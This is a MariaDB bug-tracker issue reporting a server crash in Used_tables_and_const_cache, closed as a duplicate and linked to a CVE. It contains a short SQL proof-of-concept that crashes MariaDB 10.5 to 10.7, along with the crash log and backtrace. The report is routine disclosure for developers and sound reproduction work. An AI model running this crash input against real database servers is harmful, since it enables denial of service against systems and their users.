MariaDB Server MDEV-26415

MariaDB server crash in Used_tables_and_const_cache::used_tables_and_const_cache_join

Details

Type:	Bug
Status:	CLOSED (View Workflow)
Priority:	Major
Resolution:	Duplicate
Affects Version/s:	10.5, 10.6, 10.7
Fix Version/s:	N/A
Component/s:	N/A
Labels:	crash
Environment:	Linux version 5.13.0-1-MANJARO (builduser@LEGION) (gcc (GCC) 11.1.0, GNU ld (GNU Binutils) 2.36.1) #1 SMP PREEMPT Mon Jun 7 06:16:10 UTC 2021 x86_64

Description

PoC:

```
CREATE TABLE v0 AS SELECT NULL AS v1 FROM DUAL ;
 SELECT * FROM v0 WHERE unhex ( log2 ( nullif ( NULL , 'x' ) ) ) = 'x' OR 'x' ;
 UPDATE v0 SET v1 = v1 + 86 , v1 = v1 + 2147483647 WHERE ( v1 , v1 ) IN ( ( -128 , -1 ) )
 UPDATE v0 SET v1 = ( SELECT v1 + 16 FROM v0 HAVING v1 + 57 ) ;
```

Crash Log:

This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help
diagnose the problem, but since we have already crashed,
something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB
key_buffer_size=134217728
read_buffer_size=131072
max_used_connections=1
max_threads=153
thread_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory
Hope that's ok; if not, decrease some variables in the equation.

```
Thread pointer: 0x62b0000bd218
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = 0x7f856fd77850 thread_stack 0x5fc00
sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7f858f623c3e]
mysys/stacktrace.c:213(my_print_stacktrace)[0x55905678c747]
sql/signal_handler.cc:222(handle_fatal_signal)[0x559055754120]
sigaction.c:0(__restore_rt)[0x7f858f00d870]
sql/item.h:5311(Used_tables_and_const_cache::used_tables_and_const_cache_join(Item const*))[0x5590557ff227]
sql/item.cc:7918(Item_ref::fix_fields(THD*, Item**))[0x5590557e66b6]
sql/item_func.cc:347(Item_func::fix_fields(THD*, Item**))[0x5590558e829c]
sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55905514066d]
sql/item_subselect.cc:3903(subselect_single_select_engine::prepare(THD*))[0x559055a484f6]
sql/item_subselect.cc:295(Item_subselect::fix_fields(THD*, Item**))[0x559055a45d05]
sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x559054e832ed]
sql/sql_update.cc:2077(multi_update::prepare(List<Item>&, st_select_lex_unit*))[0x5590552d58ed]
sql/sql_select.cc:1684(JOIN::prepare(TABLE_LIST*, Item*, unsigned int, st_order*, bool, st_order*, Item*, st_order*,
st_select_lex*, st_select_lex_unit*))[0x559055142817]
sql/sql_select.cc:4967(mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*,
Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*))[0x559055186caa]
sql/sql_class.h:4325(THD::is_error() const)[0x5590552e4d8c]
sql/sql_parse.cc:4499(mysql_execute_command(THD*, bool))[0x559054ff4320]
sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x559054ff95a1]
sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))
[0x559054fff60c]
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55905500473d]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x5590553bfe57]
sql/sql_connect.cc:1312(handle_one_connection)[0x5590553c033d]
perfschema/pfs.cc:2204(pfs_spawn_thread)[0x559055e50c2c]
pthread_create.c:0(start_thread)[0x7f858f003259]
:0(_GI__clone)[0x7f858ebae5e3]

Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query (0x629000087238): UPDATE v0 SET v1 = ( SELECT v1 + 16 FROM v0 HAVING v1 + 57 )

Connection ID (thread ID): 4
Status: NOT_KILLED
```

Issue Links

duplicates

MDEV-22464 Server crash on UPDATE with nested subquery — CLOSED

links to

CVE-2022-27385

Activity

Alice Sherepa added a comment - 2021-08-27 11:25

Thank you!
It seems to be the same as ~~MDEV-22464~~, I will add the test case there

People

Assignee:

Unassigned

Reporter:

yaoguang

Votes:

0 Vote for this issue

Watchers:

3 Start watching this issue

Dates

Created:

2021-08-19 03:00

Updated:

2022-04-13 13:03

Resolved:

2021-08-27 11:26

Git Integration

Error rendering 'com.xiplink.jira.git.jira_git_plugin:git-issue-webpanel'. Please contact your Jira administrators.